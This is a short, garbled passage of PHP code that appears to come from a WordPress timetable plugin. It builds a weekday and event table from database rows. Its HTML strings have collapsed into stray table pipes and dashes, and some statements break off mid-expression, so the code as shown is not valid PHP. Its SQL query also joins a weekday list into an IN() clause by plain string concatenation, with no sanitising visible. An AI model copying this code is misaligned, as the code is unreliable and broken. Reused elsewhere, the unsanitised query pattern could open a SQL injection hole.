$event_category_array = array_values(array_diff(array_filter(array_map('trim', explode(",", $event_category))), array("-")));
if(!$hide_all_events_view)
{
$events_list_html = '
| '; //get weekdays $query = "SELECT post_title, menu_order FROM {$wpdb->posts} WHERE post_type='timetable_weekdays' AND post_status='publish'"; if(isset($weekdays_in_query) && $weekdays_in_query!="") $query .= " AND post_name IN(" . $weekdays_in_query . ")"; //$query .= " ORDER BY FIELD(menu_order,2,3,4,5,6,7,1)"; $query .= " ORDER BY menu_order"; $weekdays = $wpdb->get_results($query); foreach($weekdays as $weekday) { $output .= ' | ' . $weekday->post_title . ' | '; } $output .= '1 ? ' rowspan="' . $rowspan . '"' : '') . '>'; $row_content .= tt_get_row_content($events, $events_page, $time_format, $event_layout, $global_colors, $disable_event_url); $row_content .= ' | '; $row_empty = false; } else $row_content .= ''; $temp_empty_count++; } } if($temp_empty_count!=$j) $row_empty = false; if(((int)$hide_empty && !$row_empty) || !(int)$hide_empty) { $output .= ' |
|---|---|
| ' . $start . ((int)$show_end_hour ? ' - ' . $end : '') . ' | '; } $output .= $row_content; $output .= '